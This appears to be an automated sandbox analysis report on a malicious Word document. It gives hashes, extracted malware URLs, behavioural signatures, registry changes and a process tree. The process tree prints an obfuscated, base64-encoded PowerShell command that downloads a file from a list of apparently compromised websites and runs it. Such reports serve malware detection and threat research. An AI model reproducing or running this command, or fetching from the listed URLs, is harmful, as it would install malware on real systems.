Analysis
-
max time kernel
121s -
max time network
121s -
platform
windows7_x64 -
resource
win7-20240419-en -
resource tags
arch:x64arch:x86image:win7-20240419-enlocale:en-usos:windows7-x64system -
submitted
31-05-2024 03:08
Behavioral task
behavioral1
Sample
74a80572ee9fdfc8a4902cc701471546JaffaCakes118.doc
Resource
win7-20240419-en
Behavioral task
behavioral2
Sample
74a80572ee9fdfc8a4902cc701471546JaffaCakes118.doc
Resource
win10v2004-20240508-en
General
-
Target
74a80572ee9fdfc8a4902cc701471546JaffaCakes118.doc
-
Size
169KB
-
MD5
74a80572ee9fdfc8a4902cc701471546
-
SHA1
fa17c57c6d4ee453669a42d383839efba09e9271
-
SHA256
e5d044da71b8df8b48034bf1959bc32cdb6f6b1667b13d7adf0b3a4535f0a0ee
-
SHA512
196d8ae7a115d01508ce9ff3a89c6ed12ecc4befb501bbe92f8c549c74422644b4d62d7c6b536345aa12127c9559ad31914b8c2e91e24d30311cf27820740639
-
SSDEEP
1536:vGGGGGGGGGG2xJLEt+LaaGGGGGGGGGGjLo9xiP+rIiZo7dLeqH74OC+pO4am35Ho:trfrzOH98ipg5lq7G
Malware Config
Extracted
http://theccwork.com/mail.theccwork.com/IJp/
https://www.retirementprofessional.com/wp-admin/tjQ/
https://writingfromling.live/wp-admin/GL/
http://shahqutubuddin.org/ix/
https://jumpstart.store/wp-admin/q/
https://aidenshirt.com/wp-admin/e6f/
https://edenrug.store/wp-admin/H/
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2156 2516 powershell.exe 28 -
Blocklisted process makes network request 6 IoCs
flow pid Process 6 2156 powershell.exe 7 2156 powershell.exe 11 2156 powershell.exe 12 2156 powershell.exe 15 2156 powershell.exe 16 2156 powershell.exe -
Drops file in System32 directory 1 IoCs
description ioc Process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe -
Drops file in Windows directory 1 IoCs
description ioc Process File opened for modification C:\Windows\Debug\WIA\wiatrace.log WINWORD.EXE -
Office loads VBA resources, possible macro or embedded object present
-
description ioc Process Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\COMMAND WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit WINWORD.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command WINWORD.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\COMMAND WINWORD.EXE Set value (data) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000 WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-481678230-3773327859-3495911762-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-481678230-3773327859-3495911762-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-481678230-3773327859-3495911762-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000" WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\ = "&Edit" WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\"" WINWORD.EXE Set value (int) \REGISTRY\USER\S-1-5-21-481678230-3773327859-3495911762-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55" WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit WINWORD.EXE Set value (int) \REGISTRY\USER\S-1-5-21-481678230-3773327859-3495911762-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1" WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\ = "&Edit" WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\"" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-481678230-3773327859-3495911762-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-481678230-3773327859-3495911762-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote WINWORD.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell WINWORD.EXE Set value (data) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000 WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-481678230-3773327859-3495911762-1000\Software\Microsoft\Internet Explorer\Toolbar WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-481678230-3773327859-3495911762-1000\Software\Microsoft\Internet Explorer\MenuExt WINWORD.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor WINWORD.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor WINWORD.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit WINWORD.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell WINWORD.EXE -
Modifies registry class 64 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-481678230-3773327859-3495911762-1000_CLASSES\Interface\{5B9D8FC8-4A71-101B-97A6-00000B65C08B}\ = "FormEvents" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-481678230-3773327859-3495911762-1000_CLASSES\Interface\{944ACF93-A1E6-11CE-8104-00AA00611080}\ = "Tabs" WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit\command WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe\shell\edit\command WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-481678230-3773327859-3495911762-1000_CLASSES\Interface\{5B9D8FC8-4A71-101B-97A6-00000B65C08B} WINWORD.EXE Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b005000750062005000720069006d006100720079003e00520024006e0075006a0053005700460065003f007d0061004c00720052007000390078004000570020002500310000000000 WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-481678230-3773327859-3495911762-1000_CLASSES\Interface\{82B02371-B5BC-11CF-810F-00A0C9030074} WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\EXCEL.EXE\" /dde" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-481678230-3773327859-3495911762-1000_CLASSES\Interface\{79176FB3-B7F2-11CE-97EF-00AA006D2776}\ = "ISpinbutton" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-481678230-3773327859-3495911762-1000_CLASSES\Interface\{978C9E22-D4B0-11CE-BF2D-00AA003F40D0}\ = "LabelControlEvents" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-481678230-3773327859-3495911762-1000_CLASSES\Wow6432Node\Interface\{4C5992A5-6926-101B-9992-00000B65C6F9} WINWORD.EXE Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b005000750062005000720069006d006100720079003e00520024006e0075006a0053005700460065003f007d0061004c00720052007000390078004000570020002500310000000000 WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-481678230-3773327859-3495911762-1000_CLASSES\Wow6432Node\Interface\{04598FC4-866C-11CF-AB7C-00AA00C08FCF} WINWORD.EXE Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b005000750062005000720069006d006100720079003e00520024006e0075006a0053005700460065003f007d0061004c00720052007000390078004000570020002500310000000000 WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-481678230-3773327859-3495911762-1000_CLASSES\Interface\{8BD21D12-EC42-11CE-9E0D-00AA006002F3}\ = "MdcTextEvents" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-481678230-3773327859-3495911762-1000_CLASSES\Wow6432Node\Interface\{8BD21D42-EC42-11CE-9E0D-00AA006002F3}\ = "MdcCheckBoxEvents" WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit\command WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-481678230-3773327859-3495911762-1000_CLASSES\Interface\{47FF8FE1-6198-11CF-8CE8-00AA006CB389} WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{25E1A7E1-3022-41D0-9E15-34944316FC70}\2.0\HELPDIR\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\VBE" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-481678230-3773327859-3495911762-1000_CLASSES\Wow6432Node\Interface\{7B020EC7-AF6C-11CE-9F46-00AA00574A4F}\ = "TabStripEvents" WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-481678230-3773327859-3495911762-1000_CLASSES\Wow6432Node\Interface\{BEF6E003-A874-101A-8BBA-00AA00300CAB} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-481678230-3773327859-3495911762-1000_CLASSES\Wow6432Node\Interface\{5512D111-5CC6-11CF-8D67-00AA00BDCE1D} WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\"" WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-481678230-3773327859-3495911762-1000_CLASSES\Wow6432Node\Interface\{8BD21D23-EC42-11CE-9E0D-00AA006002F3}\ = "IMdcList" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-481678230-3773327859-3495911762-1000_CLASSES\TypeLib\{25E1A7E1-3022-41D0-9E15-34944316FC70}\2.0 WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-481678230-3773327859-3495911762-1000_CLASSES\Wow6432Node\Interface\{5512D115-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLReset" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-481678230-3773327859-3495911762-1000_CLASSES\Interface\{7B020EC7-AF6C-11CE-9F46-00AA00574A4F}\ = "TabStripEvents" WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe\" %1" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-481678230-3773327859-3495911762-1000_CLASSES\Wow6432Node\Interface\{47FF8FE4-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents5" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-481678230-3773327859-3495911762-1000_CLASSES\Interface\{5CEF5613-713D-11CE-80C9-00AA00611080} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-481678230-3773327859-3495911762-1000_CLASSES\Interface\{5512D115-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLReset" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-481678230-3773327859-3495911762-1000_CLASSES\Interface\{5512D125-5CC6-11CF-8D67-00AA00BDCE1D} WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\EXCEL.EXE\" /dde" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-481678230-3773327859-3495911762-1000_CLASSES\Interface\{7B020EC2-AF6C-11CE-9F46-00AA00574A4F}\ = "ScrollbarEvents" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-481678230-3773327859-3495911762-1000_CLASSES\Interface\{47FF8FE5-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents6" WINWORD.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe WINWORD.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{25E1A7E1-3022-41D0-9E15-34944316FC70}\2.0\0 WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-481678230-3773327859-3495911762-1000_CLASSES\Interface\{9A4BBF53-4E46-101B-8BBD-00AA003E3B29} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-481678230-3773327859-3495911762-1000_CLASSES\Interface\{04598FC3-866C-11CF-AB7C-00AA00C08FCF}\ = "IScrollbar" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-481678230-3773327859-3495911762-1000_CLASSES\Wow6432Node\Interface\{5512D11D-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLHidden" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-481678230-3773327859-3495911762-1000_CLASSES\Interface\{5512D11D-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLHidden" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-481678230-3773327859-3495911762-1000_CLASSES\Interface\{7B020EC8-AF6C-11CE-9F46-00AA00574A4F}\ = "MultiPageEvents" WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\MSPUB.EXE\" %1" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-481678230-3773327859-3495911762-1000_CLASSES\Interface\{A38BFFC3-A5A0-11CE-8107-00AA00611080} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-481678230-3773327859-3495911762-1000_CLASSES\Interface\{5512D119-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLOption" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-481678230-3773327859-3495911762-1000_CLASSES\Interface\{8BD21D12-EC42-11CE-9E0D-00AA006002F3} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-481678230-3773327859-3495911762-1000_CLASSES\Wow6432Node\Interface\{7B020EC8-AF6C-11CE-9F46-00AA00574A4F} WINWORD.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-481678230-3773327859-3495911762-1000_CLASSES\Interface\{8A683C90-BA84-11CF-8110-00A0C9030074} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-481678230-3773327859-3495911762-1000_CLASSES\Wow6432Node\Interface\{5CEF5613-713D-11CE-80C9-00AA00611080}\ = "IPage" WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\DefaultIcon\ = "\"%1\"" WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{25E1A7E1-3022-41D0-9E15-34944316FC70}\2.0\FLAGS WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-481678230-3773327859-3495911762-1000_CLASSES\TypeLib\{25E1A7E1-3022-41D0-9E15-34944316FC70}\2.0\ = "Microsoft Forms 2.0 Object Library" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-481678230-3773327859-3495911762-1000_CLASSES\Wow6432Node\Interface\{CF3F94A0-F546-11CE-9BCE-00AA00608E01} WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 2424 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 1 IoCs
pid Process 2156 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 2156 powershell.exe -
Suspicious use of SetWindowsHookEx 2 IoCs
pid Process 2424 WINWORD.EXE 2424 WINWORD.EXE -
Suspicious use of WriteProcessMemory 4 IoCs
description pid Process procid_target PID 2424 wrote to memory of 1356 2424 WINWORD.EXE 34 PID 2424 wrote to memory of 1356 2424 WINWORD.EXE 34 PID 2424 wrote to memory of 1356 2424 WINWORD.EXE 34 PID 2424 wrote to memory of 1356 2424 WINWORD.EXE 34
Processes
-
C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\74a80572ee9fdfc8a4902cc701471546JaffaCakes118.doc"1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2424 -
C:\Windows\splwow64.exeC:\Windows\splwow64.exe 122882⤵PID:1356
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -encod JABUADMAaABmAHMAOAB5AD0AKAAoACcARwA2ACcAKwAnAHIAJwArACcAMQA0AG0AJwApACsAJwB3ACcAKQA7AC4AKAAnAG4AZQB3ACcAKwAnAC0AaQB0AGUAbQAnACkAIAAkAEUAbgBWADoAVQBzAEUAcgBwAHIATwBGAEkATABFAFwAbQAzAFkAZgBhADAAOQBcAGYARQBkAG0AUQBzAFUAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABJAFIAZQBDAFQAbwBSAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMARQBgAEMAYABVAGAAUgBpAFQAeQBwAHIATwBgAFQATwBjAG8AbAAiACAAPQAgACgAKAAnAHQAJwArACcAbABzADEAMgAnACkAKwAoACcALAAgACcAKwAnAHQAJwApACsAJwBsACcAKwAoACcAcwAnACsAJwAxADEAJwApACsAJwAsACAAJwArACgAJwB0ACcAKwAnAGwAcwAnACkAKQA7ACQAUgBjAG0AOABjAGIAegAgAD0AIAAoACgAJwBLACcAKwAnADIAbgAnACkAKwAnAGcAcQAnACsAKAAnADkAcgAnACsAJwBoACcAKQApADsAJABVAHoAZgBzADUAXwBnAD0AKAAoACcARgBmACcAKwAnAGwAJwApACsAJwA1ACcAKwAoACcAdABxACcAKwAnAHYAJwApACkAOwAkAEQAZwAzADgAawB2AGYAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAKAAoACcAegAnACsAKAAnAG8ASgAnACsAJwBNADMAeQAnACkAKwAoACcAZgBhADAAOQAnACsAJwB6AG8AJwApACsAKAAnAEoAJwArACcARgBlAGQAbQBxAHMAdQAnACsAJwB6ACcAKQArACcAbwAnACsAJwBKACcAKQAuACIAcgBFAGAAcABgAEwAQQBDAEUAIgAoACgAWwBDAEgAYQBSAF0AMQAyADIAKwBbAEMASABhAFIAXQAxADEAMQArAFsAQwBIAGEAUgBdADcANAApACwAWwBzAHQAcgBpAE4AZwBdAFsAQwBIAGEAUgBdADkAMgApACkAKwAkAFIAYwBtADgAYwBiAHoAKwAoACcALgBlACcAKwAnAHgAZQAnACkAOwAkAEcAOABmAHIAaQBoADgAPQAoACcATAAnACsAKAAnADkAMQAnACsAJwBlAG8AJwApACsAJwB5ADUAJwApADsAJABGADYAagBuAGwAagA0AD0AJgAoACcAbgAnACsAJwBlAHcALQBvAGIAagBlAGMAJwArACcAdAAnACkAIABOAGUAdAAuAHcARQBiAGMAbABJAEUATgB0ADsAJABBAG8AawBmADQAZgBpAD0AKAAnAGgAdAAnACsAJwB0ACcAKwAnAHAAJwArACgAJwA6ACcAKwAnAC8ALwB0AGgAJwArACcAZQAnACkAKwAnAGMAJwArACgAJwBjAHcAbwAnACsAJwByACcAKwAnAGsALgBjAG8AJwApACsAKAAnAG0ALwBtAGEAJwArACcAaQAnACkAKwAoACcAbAAnACsAJwAuAHQAaABlAGMAJwApACsAKAAnAGMAJwArACcAdwBvACcAKwAnAHIAawAuAGMAbwAnACkAKwAnAG0AJwArACgAJwAvAEkAJwArACcASgBwACcAKwAnAC8AKgBoAHQAdAAnACkAKwAnAHAAJwArACgAJwBzADoALwAvAHcAdwB3AC4AcgBlAHQAaQByAGUAbQBlACcAKwAnAG4AJwArACcAdABwACcAKwAnAHIAbwAnACsAJwBmAGUAcwAnACkAKwAoACcAcwBpAG8AJwArACcAbgAnACkAKwAoACcAYQBsACcAKwAnAC4AYwBvAG0ALwB3ACcAKwAnAHAALQBhAGQAbQBpAG4AJwArACcALwAnACsAJwB0AGoAUQAnACsAJwAvACoAaAB0ACcAKQArACcAdABwACcAKwAnAHMAOgAnACsAKAAnAC8AJwArACcALwB3AHIAaQAnACkAKwAoACcAdABpAG4AJwArACcAZwBmACcAKQArACgAJwByAG8AbQAnACsAJwBsAGkAJwApACsAKAAnAG4AJwArACcAZwAuACcAKQArACgAJwBsACcAKwAnAGkAdgAnACkAKwAoACcAZQAnACsAJwAvAHcAJwApACsAKAAnAHAALQAnACsAJwBhACcAKQArACgAJwBkAG0AJwArACcAaQAnACsAJwBuAC8ARwBMACcAKQArACcALwAnACsAKAAnACoAaAB0ACcAKwAnAHQAJwApACsAJwBwACcAKwAoACcAOgAvAC8AcwBoAGEAaABxAHUAdAB1AGIAdQAnACsAJwBkAGQAJwArACcAaQAnACsAJwBuACcAKQArACcALgAnACsAJwBvACcAKwAnAHIAJwArACgAJwBnACcAKwAnAC8AaQB4AC8AJwApACsAKAAnACoAaAB0ACcAKwAnAHQAcABzADoALwAnACsAJwAvAGoAdQAnACsAJwBtACcAKQArACgAJwBwAHMAdABhAHIAdAAuAHMAJwArACcAdAAnACkAKwAoACcAbwAnACsAJwByAGUALwAnACsAJwB3AHAALQBhAGQAJwApACsAKAAnAG0AaQAnACsAJwBuAC8AJwArACcAcQAvACoAaAAnACkAKwAnAHQAdAAnACsAKAAnAHAAJwArACcAcwA6AC8ALwAnACsAJwBhACcAKQArACgAJwBpAGQAZQAnACsAJwBuAHMAJwArACcAaABpACcAKQArACcAcgB0ACcAKwAoACcALgBjAG8AbQAnACsAJwAvACcAKwAnAHcAcAAnACkAKwAoACcALQBhACcAKwAnAGQAbQAnACsAJwBpAG4ALwBlADYAJwApACsAKAAnAGYALwAqAGgAdAAnACsAJwB0ACcAKwAnAHAAcwA6ACcAKQArACgAJwAvACcAKwAnAC8AZQBkACcAKwAnAGUAbgByACcAKQArACgAJwB1AGcALgAnACsAJwBzAHQAJwArACcAbwByAGUALwAnACkAKwAoACcAdwAnACsAJwBwACcAKwAnAC0AYQBkAG0AaQBuACcAKQArACgAJwAvACcAKwAnAEgALwAnACkAKQAuACIAcwBQAEwAYABpAFQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABBADgAMQBpAHQAOQBwAD0AKAAnAEkAJwArACgAJwBnAHYAaABrADUAJwArACcANwAnACkAKQA7AGYAbwByAGUAYQBjAGgAKAAkAFIAYwB5ADUAOQBlAGQAIABpAG4AIAAkAEEAbwBrAGYANABmAGkAKQB7AHQAcgB5AHsAJABGADYAagBuAGwAagA0AC4AIgBEAGAATwB3AE4ATABvAEEARABgAEYASQBgAGwAZQAiACgAJABSAGMAeQA1ADkAZQBkACwAIAAkAEQAZwAzADgAawB2AGYAKQA7ACQAVQBjAGcAYgBsADIAYQA9ACgAJwBVACcAKwAoACcAeABiACcAKwAnADcAawBiACcAKQArACcAZQAnACkAOwBJAGYAIAAoACgAJgAoACcARwAnACsAJwBlAHQAJwArACcALQBJAHQAZQBtACcAKQAgACQARABnADMAOABrAHYAZgApAC4AIgBsAGUAbgBnAGAAVABIACIAIAAtAGcAZQAgADMAMQAxADAAMQApACAAewAmACgAJwBJACcAKwAnAG4AdgBvAGsAZQAtACcAKwAnAEkAdABlACcAKwAnAG0AJwApACgAJABEAGcAMwA4AGsAdgBmACkAOwAkAEEANQB3ADEAbQB1AG0APQAoACgAJwBIAGYAJwArACcAYgB4ADEAaQAnACkAKwAnAHgAJwApADsAYgByAGUAYQBrADsAJABMAG0AbABzADMAXwBrAD0AKAAnAEQAJwArACcAcQAnACsAKAAnADgANwB1ACcAKwAnAHcAawAnACkAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAQQA2AGsAYQBqAHUAcQA9ACgAJwBXAHYAJwArACgAJwBiAHYAJwArACcAXwAnACkAKwAnADAAYwAnACkA1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2156
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
20KB
MD5d290e4806aa167eb0d5d90efaad8b3a0
SHA14b5e3398ab55c0da13d4b186aa28b67b979fe3d8
SHA256395e805d3401e6ec619d3833ce553b241ebdddb222d5decc8c6f951e60a3cc9e
SHA5120420efb9812bb909b95e68ba935f3676bcb34e62270617bed504229ae43b094d1ffa710f0699aac31c3349fa15ed9efbd8ea7221eccc3d9ce7cf22827c8b0fdb